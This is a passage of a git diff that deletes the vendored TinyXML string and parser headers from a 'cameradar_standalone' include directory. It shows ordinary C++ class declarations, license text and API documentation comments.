TiXmlString::npos if not found - size_type - find(char lookup) const { - return find(lookup, 0); - } - - // find a char in a string from an offset. Return TiXmlString::npos if not - // found - size_type - find(char tofind, size_type offset) const { - if (offset >= length()) return npos; - - for (const char* p = c_str() + offset; *p != '\0'; ++p) { - if (*p == tofind) return static_cast(p - c_str()); - } - return npos; - } - - void - clear() { - // Lee: - // The original was just too strange, though correct: - // TiXmlString().swap(*this); - // Instead use the quit & re-init: - quit(); - init(0, 0); - } - - /* Function to reserve a big amount of data when we know we'll need it. Be - aware that this - function DOES NOT clear the content of the TiXmlString if any exists. - */ - void reserve(size_type cap); - - TiXmlString& assign(const char* str, size_type len); - - TiXmlString& append(const char* str, size_type len); - - void - swap(TiXmlString& other) { - Rep* r = rep_; - rep_ = other.rep_; - other.rep_ = r; - } - -private: - void - init(size_type sz) { - init(sz, sz); - } - void - set_size(size_type sz) { - rep_->str[rep_->size = sz] = '\0'; - } - char* - start() const { - return rep_->str; - } - char* - finish() const { - return rep_->str + rep_->size; - } - - struct Rep { - size_type size, capacity; - char str[1]; - }; - - void - init(size_type sz, size_type cap) { - if (cap) { - // Lee: the original form: - // rep_ = static_cast(operator new(sizeof(Rep) + cap)); - // doesn't work in some cases of new being overloaded. Switching - // to the normal allocation, although use an 'int' for systems - // that are overly picky about structure alignment. - const size_type bytesNeeded = sizeof(Rep) + cap; - const size_type intsNeeded = (bytesNeeded + sizeof(int) - 1) / sizeof(int); - rep_ = reinterpret_cast(new int[intsNeeded]); - - rep_->str[rep_->size = sz] = '\0'; - rep_->capacity = cap; - } else { - rep_ = &nullrep_; - } - } - - void - quit() { - if (rep_ != &nullrep_) { - // The rep_ is really an array of ints. (see the allocator, above). - // Cast it back before delete, so the compiler won't incorrectly call - // destructors. - delete[](reinterpret_cast(rep_)); - } - } - - Rep* rep_; - static Rep nullrep_; -}; - -inline bool operator==(const TiXmlString& a, const TiXmlString& b) { - return (a.length() == b.length()) // optimization on some platforms - && (strcmp(a.c_str(), b.c_str()) == 0); // actual compare -} -inline bool operator<(const TiXmlString& a, const TiXmlString& b) { - return strcmp(a.c_str(), b.c_str()) < 0; -} - -inline bool operator!=(const TiXmlString& a, const TiXmlString& b) { return !(a == b); } -inline bool operator>(const TiXmlString& a, const TiXmlString& b) { return b < a; } -inline bool operator<=(const TiXmlString& a, const TiXmlString& b) { return !(b < a); } -inline bool operator>=(const TiXmlString& a, const TiXmlString& b) { return !(a < b); } - -inline bool operator==(const TiXmlString& a, const char* b) { return strcmp(a.c_str(), b) == 0; } -inline bool operator==(const char* a, const TiXmlString& b) { return b == a; } -inline bool operator!=(const TiXmlString& a, const char* b) { return !(a == b); } -inline bool operator!=(const char* a, const TiXmlString& b) { return !(b == a); } - -TiXmlString operator+(const TiXmlString& a, const TiXmlString& b); -TiXmlString operator+(const TiXmlString& a, const char* b); -TiXmlString operator+(const char* a, const TiXmlString& b); - -/* - TiXmlOutStream is an emulation of std::ostream. It is based on TiXmlString. - Only the operators that we need for TinyXML have been developped. -*/ -class TiXmlOutStream : public TiXmlString { -public: - // TiXmlOutStream << operator. - TiXmlOutStream& operator<<(const TiXmlString& in) { - *this += in; - return *this; - } - - // TiXmlOutStream << operator. - TiXmlOutStream& operator<<(const char* in) { - *this += in; - return *this; - } -}; - -#endif // TIXML_STRING_INCLUDED -#endif // TIXML_USE_STL diff --git a/cameradar_standalone/include/tinyxml.h b/cameradar_standalone/include/tinyxml.h deleted file mode 100644 index 1770a2b..0000000 --- a/cameradar_standalone/include/tinyxml.h +++ /dev/null @@ -1,2277 +0,0 @@ -/* -www.sourceforge.net/projects/tinyxml -Original code by Lee Thomason (www.grinninglizard.com) - -This software is provided 'as-is', without any express or implied -warranty. In no event will the authors be held liable for any -damages arising from the use of this software. - -Permission is granted to anyone to use this software for any -purpose, including commercial applications, and to alter it and -redistribute it freely, subject to the following restrictions: - -1. The origin of this software must not be misrepresented; you must -not claim that you wrote the original software. If you use this -software in a product, an acknowledgment in the product documentation -would be appreciated but is not required. - -2. Altered source versions must be plainly marked as such, and -must not be misrepresented as being the original software. - -3. This notice may not be removed or altered from any source -distribution. -*/ - -#ifndef TINYXML_INCLUDED -#define TINYXML_INCLUDED - -#ifdef _MSC_VER -#pragma warning(push) -#pragma warning(disable : 4530) -#pragma warning(disable : 4786) -#endif - -#include -#include -#include -#include -#include - -// Help out windows: -#if defined(_DEBUG) && !defined(DEBUG) -#define DEBUG -#endif - -#ifdef TIXML_USE_STL -#include -#include -#include -#define TIXML_STRING std::string -#else -#include "tinystr.h" -#define TIXML_STRING TiXmlString -#endif - -// Deprecated library function hell. Compilers want to use the -// new safe versions. This probably doesn't fully address the problem, -// but it gets closer. There are too many compilers for me to fully -// test. If you get compilation troubles, undefine TIXML_SAFE -#define TIXML_SAFE - -#ifdef TIXML_SAFE -#if defined(_MSC_VER) && (_MSC_VER >= 1400) -// Microsoft visual studio, version 2005 and higher. -#define TIXML_SNPRINTF _snprintf_s -#define TIXML_SSCANF sscanf_s -#elif defined(_MSC_VER) && (_MSC_VER >= 1200) -// Microsoft visual studio, version 6 and higher. -//#pragma message( "Using _sn* functions." ) -#define TIXML_SNPRINTF _snprintf -#define TIXML_SSCANF sscanf -#elif defined(__GNUC__) && (__GNUC__ >= 3) -// GCC version 3 and higher.s -//#warning( "Using sn* functions." ) -#define TIXML_SNPRINTF snprintf -#define TIXML_SSCANF sscanf -#else -#define TIXML_SNPRINTF snprintf -#define TIXML_SSCANF sscanf -#endif -#endif - -class TiXmlDocument; -class TiXmlElement; -class TiXmlComment; -class TiXmlUnknown; -class TiXmlAttribute; -class TiXmlText; -class TiXmlDeclaration; -class TiXmlParsingData; - -const int TIXML_MAJOR_VERSION = 2; -const int TIXML_MINOR_VERSION = 6; -const int TIXML_PATCH_VERSION = 2; - -/* Internal structure for tracking location of items - in the XML file. -*/ -struct TiXmlCursor { - TiXmlCursor() { Clear(); } - void - Clear() { - row = col = -1; - } - - int row; // 0 based. - int col; // 0 based. -}; - -/** - Implements the interface to the "Visitor pattern" (see the Accept() - method.) - If you call the Accept() method, it requires being passed a TiXmlVisitor - class to handle callbacks. For nodes that contain other nodes (Document, - Element) - you will get called with a VisitEnter/VisitExit pair. Nodes that are - always leaves - are simply called with Visit(). - - If you return 'true' from a Visit method, recursive parsing will - continue. If you return - false, no children of this node or its sibilings will be Visited. - - All flavors of Visit methods have a default implementation that returns - 'true' (continue - visiting). You need to only override methods that are interesting to - you. - - Generally Accept() is called on the TiXmlDocument, although all nodes - suppert Visiting. - - You should never change the document from a callback. - - @sa TiXmlNode::Accept() -*/ -class TiXmlVisitor { -public: - virtual ~TiXmlVisitor() {} - - /// Visit a document. - virtual bool - VisitEnter(const TiXmlDocument& /*doc*/) { - return true; - } - /// Visit a document. - virtual bool - VisitExit(const TiXmlDocument& /*doc*/) { - return true; - } - - /// Visit an element. - virtual bool - VisitEnter(const TiXmlElement& /*element*/, const TiXmlAttribute* /*firstAttribute*/) { - return true; - } - /// Visit an element. - virtual bool - VisitExit(const TiXmlElement& /*element*/) { - return true; - } - - /// Visit a declaration - virtual bool - Visit(const TiXmlDeclaration& /*declaration*/) { - return true; - } - /// Visit a text node - virtual bool - Visit(const TiXmlText& /*text*/) { - return true; - } - /// Visit a comment node - virtual bool - Visit(const TiXmlComment& /*comment*/) { - return true; - } - /// Visit an unknown node - virtual bool - Visit(const TiXmlUnknown& /*unknown*/) { - return true; - } -}; - -// Only used by Attribute::Query functions -enum { TIXML_SUCCESS, TIXML_NO_ATTRIBUTE, TIXML_WRONG_TYPE }; - -// Used by the parsing routines. -enum TiXmlEncoding { TIXML_ENCODING_UNKNOWN, TIXML_ENCODING_UTF8, TIXML_ENCODING_LEGACY }; - -const TiXmlEncoding TIXML_DEFAULT_ENCODING = TIXML_ENCODING_UNKNOWN; - -/** TiXmlBase is a base class for every class in TinyXml. - It does little except to establish that TinyXml classes - can be printed and provide some utility functions. - - In XML, the document and elements can contain - other elements and other types of nodes. - - @verbatim - A Document can contain: Element (container or leaf) - Comment (leaf) - Unknown (leaf) - Declaration( leaf ) - - An Element can contain: Element (container or leaf) - Text (leaf) - Attributes (not on tree) - Comment (leaf) - Unknown (leaf) - - A Decleration contains: Attributes (not on tree) - @endverbatim -*/ -class TiXmlBase { - friend class TiXmlNode; - friend class TiXmlElement; - friend class TiXmlDocument; - -public: - TiXmlBase() : userData(0) {} - virtual ~TiXmlBase() {} - - /** All TinyXml classes can print themselves to a filestream - or the string class (TiXmlString in non-STL mode, std::string - in STL mode.) Either or both cfile and str can be null. - - This is a formatted print, and will insert - tabs and newlines. - - (For an unformatted stream, use the << operator.) - */ - virtual void Print(FILE* cfile, int depth) const = 0; - - /** The world does not agree on whether white space should be kept or - not. In order to make everyone happy, these global, static functions - are provided to set whether or not TinyXml will condense all white - space - into a single space or not. The default is to condense. Note changing - this - value is not thread safe. - */ - static void - SetCondenseWhiteSpace(bool condense) { - condenseWhiteSpace = condense; - } - - /// Return the current white space setting. - static bool - IsWhiteSpaceCondensed() { - return condenseWhiteSpace; - } - - /** Return the position, in the original source file, of this node or - attribute. - The row and column are 1-based. (That is the first row and first - column is - 1,1). If the returns values are 0 or less, then the parser does not - have - a row and column value. - - Generally, the row and column value will be set when the - TiXmlDocument::Load(), - TiXmlDocument::LoadFile(), or any TiXmlNode::Parse() is called. It - will NOT be set - when the DOM was created from operator>>. - - The values reflect the initial load. Once the DOM is modified - programmatically - (by adding or changing nodes and attributes) the new values will NOT - update to - reflect changes in the document. - - There is a minor performance cost to computing the row and column. - Computation - can be disabled if TiXmlDocument::SetTabSize() is called with 0 as the - value. - - @sa TiXmlDocument::SetTabSize() - */ - int - Row() const { - return location.row + 1; - } - int - Column() const { - return location.col + 1; - } ///< See Row() - - void - SetUserData(void* user) { - userData = user; - } ///< Set a pointer to arbitrary user data. - void* - GetUserData() { - return userData; - } ///< Get a pointer to arbitrary user data. - const void* - GetUserData() const { - return userData; - } ///< Get a pointer to arbitrary user data. - - // Table that returs, for a given lead byte, the total number of bytes - // in the UTF-8 sequence. - static const int utf8ByteTable[256]; - - virtual const char* Parse(const char* p, - TiXmlParsingData* data, - TiXmlEncoding encoding /*= TIXML_ENCODING_UNKNOWN */) = 0; - - /** Expands entities in a string. Note this should not contian the tag's '<', - '>', etc, - or they will be transformed into entities! - */ - static void EncodeString(const TIXML_STRING& str, TIXML_STRING* out); - - enum { - TIXML_NO_ERROR = 0, - TIXML_ERROR, - TIXML_ERROR_OPENING_FILE, - TIXML_ERROR_PARSING_ELEMENT, - TIXML_ERROR_FAILED_TO_READ_ELEMENT_NAME, - TIXML_ERROR_READING_ELEMENT_VALUE, - TIXML_ERROR_READING_ATTRIBUTES, - TIXML_ERROR_PARSING_EMPTY, - TIXML_ERROR_READING_END_TAG, - TIXML_ERROR_PARSING_UNKNOWN, - TIXML_ERROR_PARSING_COMMENT, - TIXML_ERROR_PARSING_DECLARATION, - TIXML_ERROR_DOCUMENT_EMPTY, - TIXML_ERROR_EMBEDDED_NULL, - TIXML_ERROR_PARSING_CDATA, - TIXML_ERROR_DOCUMENT_TOP_ONLY, - - TIXML_ERROR_STRING_COUNT - }; - -protected: - static const char* SkipWhiteSpace(const char*, TiXmlEncoding encoding); - - inline static bool - IsWhiteSpace(char c) { - return (isspace((unsigned char)c) || c == '\n' || c == '\r'); - } - inline static bool - IsWhiteSpace(int c) { - if (c < 256) return IsWhiteSpace((char)c); - return false; // Again, only truly correct for English/Latin...but usually - // works. - } - -#ifdef TIXML_USE_STL - static bool StreamWhiteSpace(std::istream* in, TIXML_STRING* tag); - static bool StreamTo(std::istream* in, int character, TIXML_STRING* tag); -#endif - - /* Reads an XML name into the string provided. Returns - a pointer just past the last character of the name, - or 0 if the function has an error. - */ - static const char* ReadName(const char* p, TIXML_STRING* name, TiXmlEncoding encoding); - - /* Reads text. Returns a pointer past the given end tag. - Wickedly complex options, but it keeps the (sensitive) code in one - place. - */ - static const char* ReadText(const char* in, // where to start - TIXML_STRING* text, // the string read - bool ignoreWhiteSpace, // whether to keep the white space - const char* endTag, // what ends this text - bool ignoreCase, // whether to ignore case in the end tag - TiXmlEncoding encoding); // the current encoding - - // If an entity has been found, transform it into a character. - static const char* GetEntity(const char* in, char* value, int* length, TiXmlEncoding encoding); - - // Get a character, while interpreting entities. - // The length can be from 0 to 4 bytes. - inline static const char* - GetChar(const char* p, char* _value, int* length, TiXmlEncoding encoding) { - assert(p); - if (encoding == TIXML_ENCODING_UTF8) { - *length = utf8ByteTable[*((const unsigned char*)p)]; - assert(*length >= 0 && *length < 5); - } else { - *length = 1; - } - - if (*length == 1) { - if (*p == '&') return GetEntity(p, _value, length, encoding); - *_value = *p; - return p + 1; - } else if (*length) { - // strncpy( _value, p, *length ); // lots of compilers don't like - // this function (unsafe), - // and the null terminator isn't needed - for (int i = 0; p[i] && i < *length; ++i) { _value[i] = p[i]; } - return p + (*length); - } else { - // Not valid text. - return 0; - } - } - - // Return true if the next characters in the stream are any of the endTag - // sequences. - // Ignore case only works for english, and should only be relied on when - // comparing - // to English words: StringEqual( p, "version", true ) is fine. - static bool - StringEqual(const char* p, const char* endTag, bool ignoreCase, TiXmlEncoding encoding); - - static const char* errorString[TIXML_ERROR_STRING_COUNT]; - - TiXmlCursor location; - - /// Field containing a generic user pointer - void* userData; - - // None of these methods are reliable for any language except English. - // Good for approximation, not great for accuracy. - static int IsAlpha(unsigned char anyByte, TiXmlEncoding encoding); - static int IsAlphaNum(unsigned char anyByte, TiXmlEncoding encoding); - inline static int - ToLower(int v, TiXmlEncoding encoding) { - if (encoding == TIXML_ENCODING_UTF8) { - if (v < 128) return tolower(v); - return v; - } else { - return tolower(v); - } - } - static void ConvertUTF32ToUTF8(unsigned long input, char* output, int* length); - -private: - TiXmlBase(const TiXmlBase&); // not implemented. - void operator=(const TiXmlBase& base); // not allowed. - - struct Entity { - const char* str; - unsigned int strLength; - char chr; - }; - enum { - NUM_ENTITY = 5, - MAX_ENTITY_LENGTH = 6 - - }; - static Entity entity[NUM_ENTITY]; - static bool condenseWhiteSpace; -}; - -/** The parent class for everything in the Document Object Model. - (Except for attributes). - Nodes have siblings, a parent, and children. A node can be - in a document, or stand on its own. The type of a TiXmlNode - can be queried, and it can be cast to its more defined type. -*/ -class TiXmlNode : public TiXmlBase { - friend class TiXmlDocument; - friend class TiXmlElement; - -public: -#ifdef TIXML_USE_STL - - /** An input stream operator, for every class. Tolerant of newlines and - formatting, but doesn't expect them. - */ - friend std::istream& operator>>(std::istream& in, TiXmlNode& base); - - /** An output stream operator, for every class. Note that this outputs - without any newlines or formatting, as opposed to Print(), which - includes tabs and new lines. - - The operator<< and operator>> are not completely symmetric. Writing - a node to a stream is very well defined. You'll get a nice stream - of output, without any extra whitespace or newlines. - - But reading is not as well defined. (As it always is.) If you create - a TiXmlElement (for example) and read that from an input stream, - the text needs to define an element or junk will result. This is - true of all input streams, but it's worth keeping in mind. - - A TiXmlDocument will read nodes until it reads a root element, and - all the children of that root element. - */ - friend std::ostream& operator<<(std::ostream& out, const TiXmlNode& base); - - /// Appends the XML node or attribute to a std::string. - friend std::string& operator<<(std::string& out, const TiXmlNode& base); - -#endif - - /** The types of XML nodes supported by TinyXml. (All the - unsupported types are picked up by UNKNOWN.) - */ - enum NodeType { - TINYXML_DOCUMENT, - TINYXML_ELEMENT, - TINYXML_COMMENT, - TINYXML_UNKNOWN, - TINYXML_TEXT, - TINYXML_DECLARATION, - TINYXML_TYPECOUNT - }; - - virtual ~TiXmlNode(); - - /** The meaning of 'value' changes for the specific type of - TiXmlNode. - @verbatim - Document: filename of the xml file - Element: name of the element - Comment: the comment text - Unknown: the tag contents - Text: the text string - @endverbatim - - The subclasses will wrap this function. - */ - const char* - Value() const { - return value.c_str(); - } - -#ifdef TIXML_USE_STL - /** Return Value() as a std::string. If you only use STL, - this is more efficient than calling Value(). - Only available in STL mode. - */ - const std::string& - ValueStr() const { - return value; - } -#endif - - const TIXML_STRING& - ValueTStr() const { - return value; - } - - /** Changes the value of the node. Defined as: - @verbatim - Document: filename of the xml file - Element: name of the element - Comment: the comment text - Unknown: the tag contents - Text: the text string - @endverbatim - */ - void - SetValue(const char* _value) { - value = _value; - } - -#ifdef TIXML_USE_STL - /// STL std::string form. - void - SetValue(const std::string& _value) { - value = _value; - } -#endif - - /// Delete all the children of this node. Does not affect 'this'. - void Clear(); - - /// One step up the DOM. - TiXmlNode* - Parent() { - return parent; - } - const TiXmlNode* - Parent() const { - return parent; - } - - const TiXmlNode* - FirstChild() const { - return firstChild; - } ///< The first child of this node. Will be null if there are no children. - TiXmlNode* - FirstChild() { - return firstChild; - } - const TiXmlNode* FirstChild(const char* value) const; ///< The first child of - /// this node with the - /// matching 'value'. - /// Will be null if none - /// found. - /// The first child of this node with the matching 'value'. Will be null if - /// none found. - TiXmlNode* - FirstChild(const char* _value) { - // Call through to the const version - safe since nothing is changed. - // Exiting syntax: cast this to a const (always safe) - // call the method, cast the return back to non-const. - return const_cast((const_cast(this))->FirstChild(_value)); - } - const TiXmlNode* - LastChild() const { - return lastChild; - } /// The last child of this node. Will be null if there are no children. - TiXmlNode* - LastChild() { - return lastChild; - } - - const TiXmlNode* LastChild(const char* value) const; /// The last child of - /// this node matching - /// 'value'. Will be null - /// if there are no - /// children. - TiXmlNode* - LastChild(const char* _value) { - return const_cast((const_cast(this))->LastChild(_value)); - } - -#ifdef TIXML_USE_STL - const TiXmlNode* - FirstChild(const std::string& _value) const { - return FirstChild(_value.c_str()); - } ///< STL std::string form. - TiXmlNode* - FirstChild(const std::string& _value) { - return FirstChild(_value.c_str()); - } ///< STL std::string form. - const TiXmlNode* - LastChild(const std::string& _value) const { - return LastChild(_value.c_str()); - } ///< STL std::string form. - TiXmlNode* - LastChild(const std::string& _value) { - return LastChild(_value.c_str()); - } ///< STL std::string form. -#endif - - /** An alternate way to walk the children of a node. - One way to iterate over nodes is: - @verbatim - for( child = parent->FirstChild(); child; child = - child->NextSibling() ) - @endverbatim - - IterateChildren does the same thing with the syntax: - @verbatim - child = 0; - while( child = parent->IterateChildren( child ) ) - @endverbatim - - IterateChildren takes the previous child as input and finds - the next one. If the previous child is null, it returns the - first. IterateChildren will return null when done. - */ - const TiXmlNode* IterateChildren(const TiXmlNode* previous) const; - TiXmlNode* - IterateChildren(const TiXmlNode* previous) { - return const_cast( - (const_cast(this))->IterateChildren(previous)); - } - - /// This flavor of IterateChildren searches for children with a particular - /// 'value' - const TiXmlNode* IterateChildren(const char* value, const TiXmlNode* previous) const; - TiXmlNode* - IterateChildren(const char* _value, const TiXmlNode* previous) { - return const_cast( - (const_cast(this))->IterateChildren(_value, previous)); - } - -#ifdef TIXML_USE_STL - const TiXmlNode* - IterateChildren(const std::string& _value, const TiXmlNode* previous) const { - return IterateChildren(_value.c_str(), previous); - } ///< STL std::string form. - TiXmlNode* - IterateChildren(const std::string& _value, const TiXmlNode* previous) { - return IterateChildren(_value.c_str(), previous); - } ///< STL std::string form. -#endif - - /** Add a new node related to this. Adds a child past the LastChild. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* InsertEndChild(const TiXmlNode& addThis); - - /** Add a new node related to this. Adds a child past the LastChild. - - NOTE: the node to be added is passed by pointer, and will be - henceforth owned (and deleted) by tinyXml. This method is efficient - and avoids an extra copy, but should be used with care as it - uses a different memory model than the other insert functions. - - @sa InsertEndChild - */ - TiXmlNode* LinkEndChild(TiXmlNode* addThis); - - /** Add a new node related to this. Adds a child before the specified child. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* InsertBeforeChild(TiXmlNode* beforeThis, const TiXmlNode& addThis); - - /** Add a new node related to this. Adds a child after the specified child. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* InsertAfterChild(TiXmlNode* afterThis, const TiXmlNode& addThis); - - /** Replace a child of this node. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* ReplaceChild(TiXmlNode* replaceThis, const TiXmlNode& withThis); - - /// Delete a child of this node. - bool RemoveChild(TiXmlNode* removeThis); - - /// Navigate to a sibling node. - const TiXmlNode* - PreviousSibling() const { - return prev; - } - TiXmlNode* - PreviousSibling() { - return prev; - } - - /// Navigate to a sibling node. - const TiXmlNode* PreviousSibling(const char*) const; - TiXmlNode* - PreviousSibling(const char* _prev) { - return const_cast((const_cast(this))->PreviousSibling(_prev)); - } - -#ifdef TIXML_USE_STL - const TiXmlNode* - PreviousSibling(const std::string& _value) const { - return PreviousSibling(_value.c_str()); - } ///< STL std::string form. - TiXmlNode* - PreviousSibling(const std::string& _value) { - return PreviousSibling(_value.c_str()); - } ///< STL std::string form. - const TiXmlNode* - NextSibling(const std::string& _value) const { - return NextSibling(_value.c_str()); - } ///< STL std::string form. - TiXmlNode* - NextSibling(const std::string& _value) { - return NextSibling(_value.c_str()); - } ///< STL std::string form. -#endif - - /// Navigate to a sibling node. - const TiXmlNode* - NextSibling() const { - return next; - } - TiXmlNode* - NextSibling() { - return next; - } - - /// Navigate to a sibling node with the given 'value'. - const TiXmlNode* NextSibling(const char*) const; - TiXmlNode* - NextSibling(const char* _next) { - return const_cast((const_cast(this))->NextSibling(_next)); - } - - /** Convenience function to get through elements. - Calls NextSibling and ToElement. Will skip all non-Element - nodes. Returns 0 if there is not another element. - */ - const TiXmlElement* NextSiblingElement() const; - TiXmlElement* - NextSiblingElement() { - return const_cast( - (const_cast(this))->NextSiblingElement()); - } - - /** Convenience function to get through elements. - Calls NextSibling and ToElement. Will skip all non-Element - nodes. Returns 0 if there is not another element. - */ - const TiXmlElement* NextSiblingElement(const char*) const; - TiXmlElement* - NextSiblingElement(const char* _next) { - return const_cast( - (const_cast(this))->NextSiblingElement(_next)); - } - -#ifdef TIXML_USE_STL - const TiXmlElement* - NextSiblingElement(const std::string& _value) const { - return NextSiblingElement(_value.c_str()); - } ///< STL std::string form. - TiXmlElement* - NextSiblingElement(const std::string& _value) { - return NextSiblingElement(_value.c_str()); - } ///< STL std::string form. -#endif - - /// Convenience function to get through elements. - const TiXmlElement* FirstChildElement() const; - TiXmlElement* - FirstChildElement() { - return const_cast((const_cast(this))->FirstChildElement()); - } - - /// Convenience function to get through elements. - const TiXmlElement* FirstChildElement(const char* _value) const; - TiXmlElement* - FirstChildElement(const char* _value) { - return const_cast( - (const_cast(this))->FirstChildElement(_value)); - } - -#ifdef TIXML_USE_STL - const TiXmlElement* - FirstChildElement(const std::string& _value) const { - return FirstChildElement(_value.c_str()); - } ///< STL std::string form. - TiXmlElement* - FirstChildElement(const std::string& _value) { - return FirstChildElement(_value.c_str()); - } ///< STL std::string form. -#endif - - /** Query the type (as an enumerated value, above) of this node. - The possible types are: TINYXML_DOCUMENT, TINYXML_ELEMENT, - TINYXML_COMMENT, - TINYXML_UNKNOWN, - TINYXML_TEXT, and TINYXML_DECLARATION. - */ - int - Type() const { - return type; - } - - /** Return a pointer to the Document this node lives in. - Returns null if not in a document. - */ - const TiXmlDocument* GetDocument() const; - TiXmlDocument* - GetDocument() { - return const_cast((const_cast(this))->GetDocument()); - } - - /// Returns true if this node has no children. - bool - NoChildren() const { - return !firstChild; - } - - virtual const TiXmlDocument* - ToDocument() const { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual const TiXmlElement* - ToElement() const { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual const TiXmlComment* - ToComment() const { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual const TiXmlUnknown* - ToUnknown() const { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual const TiXmlText* - ToText() const { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual const TiXmlDeclaration* - ToDeclaration() const { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - - virtual TiXmlDocument* - ToDocument() { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual TiXmlElement* - ToElement() { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual TiXmlComment* - ToComment() { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual TiXmlUnknown* - ToUnknown() { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual TiXmlText* - ToText() { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - virtual TiXmlDeclaration* - ToDeclaration() { - return 0; - } ///< Cast to a more defined type. Will return null if not of the requested - /// type. - - /** Create an exact duplicate of this node and return it. The memory must be - deleted - by the caller. - */ - virtual TiXmlNode* Clone() const = 0; - - /** Accept a hierchical visit the nodes in the TinyXML DOM. Every node in the - XML tree will be conditionally visited and the host will be called - back - via the TiXmlVisitor interface. - - This is essentially a SAX interface for TinyXML. (Note however it - doesn't re-parse - the XML for the callbacks, so the performance of TinyXML is unchanged - by using this - interface versus any other.) - - The interface has been based on ideas from: - - - http://www.saxproject.org/ - - http://c2.com/cgi/wiki?HierarchicalVisitorPattern - - Which are both good references for "visiting". - - An example of using Accept(): - @verbatim - TiXmlPrinter printer; - tinyxmlDoc.Accept( &printer ); - const char* xmlcstr = printer.CStr(); - @endverbatim - */ - virtual bool Accept(TiXmlVisitor* visitor) const = 0; - -protected: - TiXmlNode(NodeType _type); - - // Copy to the allocated object. Shared functionality between Clone, Copy - // constructor, - // and the assignment operator. - void CopyTo(TiXmlNode* target) const; - -#ifdef TIXML_USE_STL - // The real work of the input operator. - virtual void StreamIn(std::istream* in, TIXML_STRING* tag) = 0; -#endif - - // Figure out what is at *p, and parse it. Returns null if it is not an xml - // node. - TiXmlNode* Identify(const char* start, TiXmlEncoding encoding); - - TiXmlNode* parent; - NodeType type; - - TiXmlNode* firstChild; - TiXmlNode* lastChild; - - TIXML_STRING value; - - TiXmlNode* prev; - TiXmlNode* next; - -private: - TiXmlNode(const TiXmlNode&); // not implemented. - void operator=(const TiXmlNode& base); // not allowed. -}; - -/** An attribute is a name-value pair. Elements have an arbitrary - number of attributes, each with a unique name. - - @note The attributes are not TiXmlNodes, since they are not - part of the tinyXML document object model. There are other - suggested ways to look at this problem. -*/ -class TiXmlAttribute : public TiXmlBase { - friend class TiXmlAttributeSet; - -public: - /// Construct an empty attribute. - TiXmlAttribute() : TiXmlBase() { - document = 0; - prev = next = 0; - } - -#ifdef TIXML_USE_STL - /// std::string constructor. - TiXmlAttribute(const std::string& _name, const std::string& _value) { - name = _name; - value = _value; - document = 0; - prev = next = 0; - } -#endif - - /// Construct an attribute with a name and value. - TiXmlAttribute(const char* _name, const char* _value) { - name = _name; - value = _value; - document = 0; - prev = next = 0; - } - - const char* - Name() const { - return name.c_str(); - } ///< Return the name of this attribute. - const char* - Value() const { - return value.c_str(); - } ///< Return the value of this attribute. -#ifdef TIXML_USE_STL - const std::string& - ValueStr() const { - return value; - } ///< Return the value of this attribute. -#endif - int IntValue() const; ///< Return the value of this attribute, converted to an integer. - double DoubleValue() const; ///< Return the value of this attribute, converted to a double. - - // Get the tinyxml string representation - const TIXML_STRING& - NameTStr() const { - return name; - } - - /** QueryIntValue examines the value string. It is an alternative to the - IntValue() method with richer error checking. - If the value is an integer, it is stored in 'value' and - the call returns TIXML_SUCCESS. If it is not - an integer, it returns TIXML_WRONG_TYPE. - - A specialized but useful call. Note that for success it returns 0, - which is the opposite of almost all other TinyXml calls. - */ - int QueryIntValue(int* _value) const; - /// QueryDoubleValue examines the value string. See QueryIntValue(). - int QueryDoubleValue(double* _value) const; - - void - SetName(const char* _name) { - name = _name; - } ///< Set the name of this attribute. - void - SetValue(const char* _value) { - value = _value; - } ///< Set the value. - - void SetIntValue(int _value); ///< Set the value from an integer. - void SetDoubleValue(double _value); ///< Set the value from a double. - -#ifdef TIXML_USE_STL - /// STL std::string form. - void - SetName(const std::string& _name) { - name = _name; - } - /// STL std::string form. - void - SetValue(const std::string& _value) { - value = _value; - } -#endif - - /// Get the next sibling attribute in the DOM. Returns null at end. - const TiXmlAttribute* Next() const; - TiXmlAttribute* - Next() { - return const_cast((const_cast(this))->Next()); - } - - /// Get the previous sibling attribute in the DOM. Returns null at beginning. - const TiXmlAttribute* Previous() const; - TiXmlAttribute* - Previous() { - return const_cast((const_cast(this))->Previous()); - } - - bool - operator==(const TiXmlAttribute& rhs) const { - return rhs.name == name; - } - bool - operator<(const TiXmlAttribute& rhs) const { - return name < rhs.name; - } - bool - operator>(const TiXmlAttribute& rhs) const { - return name > rhs.name; - } - - /* Attribute parsing starts: first letter of the name - returns: the next char after the - value end quote - */ - virtual const char* Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding); - - // Prints this Attribute to a FILE stream. - virtual void - Print(FILE* cfile, int depth) const { - Print(cfile, depth, 0); - } - void Print(FILE* cfile, int depth, TIXML_STRING* str) const; - - // [internal use] - // Set the document pointer so the attribute can report errors. - void - SetDocument(TiXmlDocument* doc) { - document = doc; - } - -private: - TiXmlAttribute(const TiXmlAttribute&); // not implemented. - void operator=(const TiXmlAttribute& base); // not allowed. - - TiXmlDocument* document; // A pointer back to a document, for error reporting. - TIXML_STRING name; - TIXML_STRING value; - TiXmlAttribute* prev; - TiXmlAttribute* next; -}; - -/* A class used to manage a group of attributes. - It is only used internally, both by the ELEMENT and the DECLARATION. - - The set can be changed transparent to the Element and Declaration - classes that use it, but NOT transparent to the Attribute - which has to implement a next() and previous() method. Which makes - it a bit problematic and prevents the use of STL. - - This version is implemented with circular lists because: - - I like circular lists - - it demonstrates some independence from the (typical) doubly - linked list. -*/ -class TiXmlAttributeSet { -public: - TiXmlAttributeSet(); - ~TiXmlAttributeSet(); - - void Add(TiXmlAttribute* attribute); - void Remove(TiXmlAttribute* attribute); - - const 